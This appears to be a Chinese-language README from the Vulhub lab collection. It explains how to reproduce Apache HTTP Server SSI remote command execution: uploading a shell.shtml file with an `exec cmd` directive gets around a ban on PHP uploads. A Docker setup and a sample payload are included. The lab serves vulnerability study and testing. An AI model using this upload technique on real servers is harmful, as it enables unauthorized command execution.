Files
vulhub/httpd/ssi-rce/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

35 lines
1.2 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache HTTP Server SSI 远程命令执行漏洞
Apache HTTP Server 开启了服务器端包含SSI功能时允许通过特殊的SSI指令在HTML文件中执行服务器端命令。当配置不当时这个功能可能被通过文件上传漏洞利用。
在测试任意文件上传漏洞时目标服务器可能会禁止上传PHP后缀的文件。但是如果服务器开启了SSI和CGI支持攻击者可以上传一个SHTML文件并使用 `<!--#exec cmd="命令" -->` 语法执行任意命令。
参考链接:
- [Apache SSI 文档](https://httpd.apache.org/docs/2.4/howto/ssi.html)
- [W3 SSI 指令](https://www.w3.org/Jigsaw/Doc/User/SSI.html)
## 环境搭建
执行以下命令启动一个支持SSI和CGI的Apache服务器
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8080/upload.php` 即可看到上传表单界面。
## 漏洞复现
虽然上传PHP文件是被禁止的但我们可以上传一个名为 `shell.shtml` 的文件,内容如下:
```shtml
<!--#exec cmd="ls" -->
```
![上传界面](1.png)
成功上传后访问shell.shtml文件可以看到命令已被执行证实了漏洞的存在
![命令执行结果](2.png)